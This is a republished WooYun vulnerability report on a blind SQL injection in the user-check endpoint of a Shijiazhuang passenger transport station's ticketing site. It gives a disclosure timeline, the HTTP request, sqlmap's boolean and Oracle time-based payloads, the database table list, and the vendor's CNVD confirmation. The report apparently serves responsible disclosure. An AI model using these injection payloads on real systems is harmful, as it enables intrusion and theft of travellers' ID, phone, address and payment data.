石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

admin
admin
admin
144141
文章
118
评论
2017年4月30日14:30:26评论383 views字数 251阅读0分50秒阅读模式
摘要

2016-04-27： 细节已通知厂商并且等待厂商处理中
2016-04-29： 厂商已经确认，细节仅向厂商公开
2016-05-09： 细节向核心白帽子及相关领域专家公开
2016-05-19： 细节向普通白帽子公开
2016-05-29： 细节向实习白帽子公开
2016-06-13： 细节向公众公开

漏洞概要 关注数(1) 关注此漏洞

缺陷编号： WooYun-2016-202480

漏洞标题： 石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

相关厂商： 石家庄客运总站

漏洞作者： 路人甲

提交时间： 2016-04-27 20:10

公开时间： 2016-06-13 10:20

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 字符类型注射

0人收藏

漏洞详情

披露状态：

2016-04-27： 细节已通知厂商并且等待厂商处理中
2016-04-29： 厂商已经确认，细节仅向厂商公开
2016-05-09： 细节向核心白帽子及相关领域专家公开
2016-05-19： 细节向普通白帽子公开
2016-05-29： 细节向实习白帽子公开
2016-06-13： 细节向公众公开

简要描述：

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

详细说明：

code 区域 
**.**.**.**/Register.jsp

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

检查用户是否存在

code 区域 
GET **.**.**.**/CheckUserValue?userValue=test HTTP/1.1
 Accept: */*
 Accept-Language: zh-cn
 Referer: **.**.**.**/Register.jsp
 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)
 Host: **.**.**.**
 Connection: Keep-Alive
 Cookie: JSESSIONID=34130A0B9F153505167935FA37380FC3

userValue参数存在注入

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

盲注，直接上SQLMAP

漏洞证明：

code 区域 
Parameter: #1* (URI)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: **.**.**.**:80/CheckUserValue?userValue=admin'and'1'='1' AND 9336=9336 AND 'CUrZ'='CUrZ
 
     Type: AND/OR time-based blind
     Title: Oracle AND time-based blind
     Payload: **.**.**.**:80/CheckUserValue?userValue=admin'and'1'='1' AND 5097=DBMS_PIPE.RECEIVE_MESSAGE(CHR(66)||CHR(118)||CHR(85)||CHR(99),5) AND 'NaxB'='NaxB
 ---
 back-end DBMS: Oracle
 current schema (equivalent to database on Oracle):    'SJZWEB'
code 区域 
Database: SJZWEB
 +-----------------------+---------+
 | Table                 | Entries |
 +-----------------------+---------+
 | TB_WEB_ERROR          | 2980653 |
 | TB_WEB_USER_LOG       | 610631  |
 | TB_WEB_LOG            | 422999  |
 | TB_IMAGE_VALID        | 72548   |
 | TB_WEB_ALIPAY         | 69898   |
 | TB_WEB_SEAT_LOCK      | 33135   |
 | TB_WEB_ORDER          | 26011   |
 | TB_WEB_USER           | 16203   |
 | TB_WEB_USER_ONLINE    | 13147   |
 | TB_WEB_MSG_SEND       | 2033    |
 | TB_WEB_ORDER_BUILD    | 1191    |
 | TB_CITY               | 363     |
 | TB_NEW_SCHEDULE       | 172     |
 | TB_WEB_TICKETSALE_UPD | 125     |
 | TB_WEB_ALL_ROUTE      | 101     |
 | TB_PROVINCE           | 34      |
 | TB_WEB_PARAMETER      | 13      |
 | TB_WEB_AD             | 8       |
 | TB_WEB_NEW_SCHEDULE   | 8       |
 | TB_ANSWER_QUESTION    | 6       |
 | TB_GATEWAY            | 1       |
 | TB_WEB_DISCOUNT       | 1       |
 | TB_WEB_SALE_SCHEDULE  | 1       |
 | TB_WEB_SEATPASSWORD   | 1       |
 +-----------------------+---------+

用户登陆日志包含用户ip，session

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

用户订单界面，涵盖用户的支付宝订单号，出发地，登陆ip，付款金额，目的地站点名称等详细信息

石家庄客运总站某站点SQL注入(含旅客身份证号/手机号/住址/订单时间去向)

修复方案：

过滤敏感字符

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-29 10:18

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给河北分中心，由河北分中心后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin